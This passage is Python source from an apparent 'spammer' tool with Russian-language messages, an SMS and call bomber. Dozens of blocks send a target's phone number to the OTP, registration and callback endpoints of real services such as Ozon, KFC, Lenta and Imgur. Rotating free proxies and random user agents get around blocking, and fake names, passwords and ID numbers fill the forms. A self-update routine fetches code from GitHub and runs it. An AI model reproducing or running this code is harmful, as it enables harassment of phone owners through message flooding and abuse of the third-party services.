| try: 341 | post("https://www.panpizza.ru/index.php?route=account/customer/sendSMSCode", data={"telephone": "8" + phone9}, headers=headers, proxies=proxies) 342 | except: 343 | pass 344 | try: 345 | post("https://www.ozon.ru/api/composer-api.bx/_action/fastEntry", json={"phone": phone, "otpId": 0}, headers=headers, proxies=proxies) 346 | except: 347 | pass 348 | try: 349 | formatted_phone = format_phone(phone, "+# (###) ###-####") 350 | post("https://www.osaka161.ru/local/tools/webstroy.webservice.php", data={"name": "Auth.SendPassword", "params[0]": formatted_phone}, headers=headers, proxies=proxies) 351 | except: 352 | pass 353 | try: 354 | post("https://ontaxi.com.ua/api/v2/web/client", json={"country": "UA", "phone": phone[3:]}, headers=headers, proxies=proxies) 355 | except: 356 | pass 357 | try: 358 | get("https://secure.online.ua/ajax/check_phone/", params={"reg_phone": phone}, headers=headers, proxies=proxies) 359 | except: 360 | pass 361 | try: 362 | formatted_phone = format_phone(phone9, "8 (###) ###-##-##") 363 | get("https://okeansushi.ru/includes/contact.php", params={"call_mail": "1", "ajax": "1", "name": name, "phone": formatted_phone, "call_time": "1", "pravila2": "on"}, headers=headers, proxies=proxies) 364 | except: 365 | pass 366 | try: 367 | post("https://ok.ru/dk?cmd=AnonymRegistrationEnterPhone&st.cmd=anonymRegistrationEnterPhone", data={"st.r.phone": "+" + phone}, headers=headers, proxies=proxies) 368 | except: 369 | pass 370 | try: 371 | post("https://nn-card.ru/api/1.0/covid/login", json={"phone": phone}, headers=headers, proxies=proxies) 372 | except: 373 | pass 374 | try: 375 | post("https://www.nl.ua", data={"component": "bxmaker.authuserphone.login", "sessid": "bf70db951f54b837748f69b75a61deb4", "method": "sendCode", "phone": phone, "registration": "N"}, headers=headers, proxies=proxies) 376 | except: 377 | pass 378 | try: 379 | post("https://www.niyama.ru/ajax/sendSMS.php", data={"REGISTER[PERSONAL_PHONE]": phone, "code": "", "sendsms": "Выслать код"}, headers=headers, proxies=proxies) 380 | except: 381 | pass 382 | try: 383 | post("https://account.my.games/signup_send_sms/", data={"phone": phone}, headers=headers, proxies=proxies) 384 | except: 385 | pass 386 | try: 387 | post("https://auth.multiplex.ua/login", json={"login": phone}, headers=headers, proxies=proxies) 388 | except: 389 | pass 390 | try: 391 | post("https://prod.tvh.mts.ru/tvh-public-api-gateway/public/rest/general/send-code", params={"msisdn": phone}, headers=headers, proxies=proxies) 392 | except: 393 | pass 394 | try: 395 | post("https://www.moyo.ua/identity/registration", data={"firstname": name, "phone": phone, "email": email}, headers=headers, proxies=proxies) 396 | except: 397 | pass 398 | try: 399 | post("https://mos.pizza/bitrix/components/custom/callback/templates/.default/ajax.php", data={"name": name, "phone": phone}, headers=headers, proxies=proxies) 400 | except: 401 | pass 402 | try: 403 | post("https://www.monobank.com.ua/api/mobapplink/send", data={"phone": "+" + phone}, headers=headers, proxies=proxies) 404 | except: 405 | pass 406 | try: 407 | post("https://moneyman.ru/registration_api/actions/send-confirmation-code", data="+" + phone, headers=headers, proxies=proxies) 408 | except: 409 | pass 410 | try: 411 | post("https://my.modulbank.ru/api/v2/registration/nameAndPhone", json={"FirstName": name, "CellPhone": phone, "Package": "optimal"}, headers=headers, proxies=proxies) 412 | except: 413 | pass 414 | try: 415 | post("https://mobileplanet.ua/register", data={"klient_name": name, "klient_phone": "+" + phone, "klient_email": email}, headers=headers, proxies=proxies) 416 | except: 417 | pass 418 | try: 419 | get("https://my.mistercash.ua/ru/send/sms/registration", params={"number": "+" + phone}, headers=headers, proxies=proxies) 420 | except: 421 | pass 422 | try: 423 | get("https://menza-cafe.ru/system/call_me.php", params={"fio": name, "phone": phone, "phone_number": "1"}, headers=headers, proxies=proxies) 424 | except: 425 | pass 426 | try: 427 | post("https://www.menu.ua/kiev/delivery/registration/direct-registration.html", data={"user_info[fullname]": name, "user_info[phone]": phone, "user_info[email]": email, "user_info[password]": password, "user_info[conf_password]": password}, headers=headers, proxies=proxies) 428 | except: 429 | pass 430 | try: 431 | post("https://www.menu.ua/kiev/delivery/profile/show-verify.html", data={"phone": phone, "do": "phone"}, headers=headers, proxies=proxies) 432 | except: 433 | pass 434 | try: 435 | formatted_phone = format_phone(phone, "+# ### ### ## ##") 436 | get("https://makimaki.ru/system/callback.php", params={"cb_fio": name, "cb_phone": formatted_phone}, headers=headers, proxies=proxies) 437 | except: 438 | pass 439 | try: 440 | post("https://makarolls.ru/bitrix/components/aloe/aloe.user/login_new.php", data={"data": phone, "metod": "postreg"}, headers=headers, proxies=proxies) 441 | except: 442 | pass 443 | try: 444 | post("https://api-rest.logistictech.ru/api/v1.1/clients/request-code", json={"phone": phone}, headers={"Restaurant-chain": "c0ab3d88-fba8-47aa-b08d-c7598a3be0b9", "User-Agent": generate_user_agent()}, proxies=proxies) 445 | except: 446 | pass 447 | try: 448 | post("https://loany.com.ua/funct/ajax/registration/code", data={"phone": phone}, headers=headers, proxies=proxies) 449 | except: 450 | pass 451 | try: 452 | post("https://lenta.com/api/v1/authentication/requestValidationCode", json={"phone": "+" + phone}, headers=headers, proxies=proxies) 453 | except: 454 | pass 455 | try: 456 | post("https://koronapay.com/transfers/online/api/users/otps", data={"phone": phone}, headers=headers, proxies=proxies) 457 | except: 458 | pass 459 | try: 460 | post("https://api.kinoland.com.ua/api/v1/service/send-sms", headers={"Agent": "website", "User-Agent": generate_user_agent()}, json={"Phone": phone, "Type": 1}, proxies=proxies) 461 | except: 462 | pass 463 | try: 464 | formatted_phone = format_phone(phone, "# (###) ###-##-##") 465 | post("https://kilovkusa.ru/ajax.php", params={"block": "auth", "action": "send_register_sms_code", "data_type": "json"}, data={"phone": formatted_phone}, headers=headers, proxies=proxies) 466 | except: 467 | pass 468 | try: 469 | post("https://app-api.kfc.ru/api/v1/common/auth/send-validation-sms", json={"phone": "+" + phone}, headers=headers, proxies=proxies) 470 | except: 471 | pass 472 | try: 473 | post("https://kaspi.kz/util/send-app-link", data={"address": phone9}, headers=headers, proxies=proxies) 474 | except: 475 | pass 476 | try: 477 | post("https://app.karusel.ru/api/v1/phone/", data={"phone": phone}, headers=headers, proxies=proxies) 478 | except: 479 | pass 480 | try: 481 | post("https://izi.ua/api/auth/register", json={"phone": "+" + phone, "name": name, "is_terms_accepted": True}, headers=headers, proxies=proxies) 482 | except: 483 | pass 484 | try: 485 | post("https://izi.ua/api/auth/sms-login", json={"phone": "+" + phone}, headers=headers, proxies=proxies) 486 | except: 487 | pass 488 | try: 489 | post("https://api.ivi.ru/mobileapi/user/register/phone/v6", data={"phone": phone}, headers=headers, proxies=proxies) 490 | except: 491 | pass 492 | try: 493 | formatted_phone = format_phone(phone, "+## (###) ###-##-##") 494 | post("https://iqlab.com.ua/session/ajaxregister", data={"cellphone": formatted_phone}, headers=headers, proxies=proxies) 495 | except: 496 | pass 497 | try: 498 | post("https://www.ingos.ru/api/v1/lk/auth/register/fast/step2", headers={"Referer": "https://www.ingos.ru/cabinet/registration/personal", "User-Agent": generate_user_agent()}, json={"Birthday": "1986-07-10T07:19:56.276+02:00", "DocIssueDate": "2004-02-05T07:19:56.276+02:00", "DocNumber": randint(500000, 999999), "DocSeries": randint(5000, 9999), "FirstName": name, "Gender": "M", "LastName": name, "SecondName": name, "Phone": phone9, "Email": email}, proxies=proxies) 499 | except: 500 | pass 501 | try: 502 | post("https://terra-1.indriverapp.com/api/authorization?locale=ru", data={"mode": "request", "phone": "+" + phone, "phone_permission": "unknown", "stream_id": 0, "v": 3, "appversion": "3.20.6", "osversion": "unknown", "devicemodel": "unknown"}, headers=headers, proxies=proxies) 503 | except: 504 | pass 505 | try: 506 | post("https://api.imgur.com/account/v1/phones/verify", json={"phone_number": phone, "region_code": "RU"}, headers=headers, proxies=proxies) 507 | except: 508 | pass 509 | try: 510 | post("https://www.icq.com/smsreg/requestPhoneValidation.php", data={"msisdn": phone, "locale": "en", "countryCode": "ru", "version": "1", "k": "ic1rtwz1s1Hj1O0r", "r": "46763"}, headers=headers, proxies=proxies) 511 | except: 512 | pass 513 | try: 514 | get("https://api.hmara.tv/stable/entrance", params={"contact": phone}, headers=headers, proxies=proxies) 515 | except: 516 | pass 517 | try: 518 | post("https://helsi.me/api/healthy/accounts/login", json={"phone": phone, "platform": "PISWeb"}, headers=headers, proxies=proxies) 519 | except: 520 | pass 521 | try: 522 | post("https://www.hatimaki.ru/register/", data={"REGISTER[LOGIN]": phone, "REGISTER[PERSONAL_PHONE]": phone, "REGISTER[SMS_CODE]": "", "resend-sms": "1", "REGISTER[EMAIL]": "", "register_submit_button": "Зарегистрироваться"}, headers=headers, proxies=proxies) 523 | except: 524 | pass 525 | try: 526 | post("https://guru.taxi/api/v1/driver/session/verify", json={"phone": {"code": 1, "number": phone9}}, headers=headers, proxies=proxies) 527 | except: 528 | pass 529 | try: 530 | post("https://crm.getmancar.com.ua/api/veryfyaccount", json={"phone": "+" + phone, "grant_type": "password", "client_id": "gcarAppMob", "client_secret": "SomeRandomCharsAndNumbersMobile"}, headers=headers, proxies=proxies) 531 | except: 532 | pass 533 | try: 534 | formatted_phone = format_phone(phone, "+# (###) ###-##-##") 535 | post("https://foodband.ru/api?call=calls", data={"customerName": name, "phone": formatted_phone, "g-recaptcha-response": ""}, headers=headers, proxies=proxies) 536 | except: 537 | pass 538 | try: 539 | get("https://foodband.ru/api/", params={"call": "customers/sendVerificationCode", "phone": phone9, "g-recaptcha-response": ""}, headers=headers, proxies=proxies) 540 | except: 541 | pass 542 | try: 543 | post("https://www.flipkart.com/api/5/user/otp/generate", headers={"Origin": "https://www.flipkart.com", "User-Agent": generate_user_agent()}, data={"loginId": "+" + phone}, proxies=proxies) 544 | except: 545 | pass 546 | try: 547 | post("https://www.flipkart.com/api/6/user/signup/status", headers={"Origin": "https://www.flipkart.com", "User-Agent": generate_user_agent()}, json={"loginId": "+" + phone, "supportAllStates": True}, proxies=proxies) 548 | except: 549 | pass 550 | try: 551 | post("https://fix-price.ru/ajax/register_phone_code.php", data={"register_call": "Y", "action": "getCode", "phone": "+" + phone}, headers=headers, proxies=proxies) 552 | except: 553 | pass 554 | try: 555 | get("https://findclone.ru/register", params={"phone": "+" + phone}, headers=headers, proxies=proxies) 556 | except: 557 | pass 558 | try: 559 | post("https://www.finam.ru/api/smslocker/sendcode", data={"phone": "+" + phone}, headers=headers, proxies=proxies) 560 | except: 561 | pass 562 | try: 563 | formatted_phone = format_phone(phone, "+# (###) ###-##-##") 564 | post("https://2407.smartomato.ru/account/session", json={"phone": formatted_phone, "g-recaptcha-response": None}, headers=headers, proxies=proxies) 565 | except: 566 | pass 567 | try: 568 | post("https://www.etm.ru/cat/runprog.html", data={"m_phone": phone9, "mode": "sendSms", "syf_prog": "clients-services", "getSysParam": "yes"}, headers=headers, proxies=proxies) 569 | except: 570 | pass 571 | try: 572 | get("https://api.eldorado.ua/v1/sign/", params={"login": phone, "step": "phone-check", "fb_id": "null", "fb_token": "null", "lang": "ru"}, headers=headers, proxies=proxies) 573 | except: 574 | pass 575 | try: 576 | formatted_phone = format_phone(phone, "+## (###) ###-##-##") 577 | post("https://e-groshi.com/online/reg", data={"first_name": name, "last_name": name, "third_name": name, "phone": formatted_phone, "password": password, "password2": password}, headers=headers, proxies=proxies) 578 | except: 579 | pass 580 | try: 581 | post("https://vladimir.edostav.ru/site/CheckAuthLogin", data={"phone_or_email": "+" + phone}, headers=headers, proxies=proxies) 582 | except: 583 | pass 584 | try: 585 | post("https://api.easypay.ua/api/auth/register", json={"phone": phone, "password": password}, headers=headers, proxies=proxies) 586 | except: 587 | pass 588 | try: 589 | post("https://my.dianet.com.ua/send_sms/", data={"phone": phone}, headers=headers, proxies=proxies) 590 | except: 591 | pass 592 | try: 593 | post("https://api.delitime.ru/api/v2/signup", data={"SignupForm[username]": phone, "SignupForm[device_type]": 3}, headers=headers, proxies=proxies) 594 | except: 595 | pass 596 | try: 597 | formatted_phone = format_phone(phone, "+# (###) ###-##-##") 598 | post("https://api.creditter.ru/confirm/sms/send", json={"phone": formatted_phone, "type": "register"}, headers=headers, proxies=proxies) 599 | except: 600 | pass 601 | try: 602 | post("https://clients.cleversite.ru/callback/run.php", data={"siteid": "62731", "num": phone, "title": "Онлайн-консультант", "referrer": "https://m.cleversite.ru/call"}, headers=headers, proxies=proxies) 603 | except: 604 | pass 605 | try: 606 | post("https://city24.ua/personalaccount/account/registration", data={"PhoneNumber": phone}, headers=headers, proxies=proxies) 607 | except: 608 | pass 609 | try: 610 | post(f"https://www.citilink.ru/registration/confirm/phone/+{phone}/", headers=headers, proxies=proxies) 611 | except: 612 | pass 613 | try: 614 | formatted_phone = format_phone(phone, "+# (###) ###-##-##") 615 | post("https://cinema5.ru/api/phone_code", data={"phone": formatted_phone}, headers=headers, proxies=proxies) 616 | except: 617 | pass 618 | try: 619 | post("https://api.cian.ru/sms/v1/send-validation-code/", json={"phone": "+" + phone, "type": "authenticateCode"}, headers=headers, proxies=proxies) 620 | except: 621 | pass 622 | try: 623 | post("https://api.carsmile.com/", son={"operationName": "enterPhone", "variables": {"phone": phone}, "query": "mutation enterPhone($phone: String!) {\n enterPhone(phone: $phone)\n}\n"}, headers=headers, proxies=proxies) 624 | except: 625 | pass 626 | try: 627 | get("https://it.buzzolls.ru:9995/api/v2/auth/register", params={"phoneNumber": "+" + phone}, headers={"keywordapi": "ProjectVApiKeyword", "usedapiversion": "3", "User-Agent": generate_user_agent()}, proxies=proxies) 628 | except: 629 | pass 630 | try: 631 | formatted_phone = format_phone(phone9, "(###)###-##-##") 632 | post("https://bluefin.moscow/auth/register/", data={"phone": formatted_phone, "sendphone": "Далее"}, headers=headers, proxies=proxies) 633 | except: 634 | pass 635 | try: 636 | post("https://app.benzuber.ru/login", data={"phone": "+" + phone}, headers=headers, proxies=proxies) 637 | except: 638 | pass 639 | try: 640 | formatted_phone = format_phone(phone, "+# (###) ###-##-##") 641 | post("https://bartokyo.ru/ajax/login.php", data={"user_phone": formatted_phone}, headers=headers, proxies=proxies) 642 | except: 643 | pass 644 | try: 645 | post("https://bamper.by/registration/?step=1", data={"phone": "+" + phone, "submit": "Запросить смс подтверждения", "rules": "on"}, headers=headers, proxies=proxies) 646 | except: 647 | pass 648 | try: 649 | formatted_phone = format_phone(phone9, "(###) ###-##-##") 650 | get("https://avtobzvon.ru/request/makeTestCall", params={"to": formatted_phone}, headers=headers, proxies=proxies) 651 | except: 652 | pass 653 | try: 654 | formatted_phone = format_phone(phone, "+# (###) ###-##-##") 655 | post("https://oauth.av.ru/check-phone", json={"phone": formatted_phone}, headers=headers, proxies=proxies) 656 | except: 657 | pass 658 | try: 659 | post("https://api-prime.anytime.global/api/v2/auth/sendVerificationCode", data={"phone": phone}, headers=headers, proxies=proxies) 660 | except: 661 | pass 662 | try: 663 | formatted_phone = format_phone(phone, "+# (###) ###-##-##") 664 | post("https://apteka.ru/_action/auth/getForm/", data={"form[NAME]": "", "form[PERSONAL_GENDER]": "", "form[PERSONAL_BIRTHDAY]": "", "form[EMAIL]": "", "form[LOGIN]": formatted_phone, "form[PASSWORD]": password, "get-new-password": "Получите пароль по SMS", "user_agreement": "on", "personal_data_agreement": "on", "formType": "simple", "utc_offset": "120"}, headers=headers, proxies=proxies) 665 | except: 666 | pass 667 | 668 | 669 | def parse_phone(phone): 670 | if phone in ["", " "]: 671 | main() 672 | if len(phone) in [10, 11, 12]: 673 | if phone[0] == "+": 674 | phone = phone[1:] 675 | elif phone[0] == "8": 676 | phone = "7" + phone[1:] 677 | elif phone[0] == "9": 678 | phone = "7" + phone 679 | return phone 680 | else: 681 | print(f"\n{BRIGHT}{RED}[*] Номер телефона введён неверно!{RESET_ALL}") 682 | sleep(1) 683 | spam_handler() 684 | 685 | 686 | def generate_proxy(): 687 | proxy = get("https://gimmeproxy.com/api/getProxy?curl=true&protocol=http&supportsHttps=true").text 688 | return {"http": proxy, "https": proxy} 689 | 690 | 691 | def check_internet(): 692 | try: 693 | get("http://google.com", timeout=1) 694 | except Exception: 695 | print(f"\n{BRIGHT}{RED}[*] Нет подключения к интернету!{RESET_ALL}") 696 | sleep(1) 697 | main() 698 | return 699 | 700 | 701 | def check_version(): 702 | version = "3.1" 703 | if float(version) < float(get("https://raw.githubusercontent.com/cludeex/spammer/master/version.txt").text): 704 | print(f"\n{BRIGHT}{RED}[*] Версия устарела и нуждается в обновлении!{RESET_ALL}") 705 | sleep(1) 706 | main() 707 | return 708 | 709 | 710 | def update(): 711 | check_internet() 712 | banner() 713 | print("Вы уверены, что хотите обновить? (y/n)") 714 | update = input(f"{BRIGHT}{BLUE}spammer >> {RESET_ALL}") 715 | if update.lower() == "y": 716 | if exists("/usr/bin") and isfile("/usr/bin/spammer"): 717 | file = open("/usr/bin/spammer", "wb") 718 | elif exists("/usr/local/bin/") and isfile("/usr/local/bin/spammer"): 719 | file = open("/usr/local/bin/spammer", "wb") 720 | elif exists("/data/data/com.termux/files/usr/bin") and isfile("/data/data/com.termux/files/usr/bin/spammer"): 721 | file = open("/data/data/com.termux/files/usr/bin/spammer", "wb") 722 | try: 723 | file.write(get("https://raw.githubusercontent.com/cludeex/spammer/master/spammer.py").content) 724 | file.close() 725 | system("spammer") 726 | except UnboundLocalError: 727 | system("cd $HOME && rm -rf spammer && git clone https://github.com/cludeex/spammer && cd spammer && sh install.sh") 728 | else: 729 | main() 730 | 731 | GREEN = Fore.GREEN 732 | BLUE = Fore.BLUE 733 | RED = Fore.RED 734 | BRIGHT = Style.BRIGHT 735 | RESET_ALL = Style.RESET_ALL 736 | 737 | if __name__ == "__main__": 738 | main() 739 | -------------------------------------------------------------------------------- /version.txt: -------------------------------------------------------------------------------- 1 | 3.1 2 | --------------------------------------------------------------------------------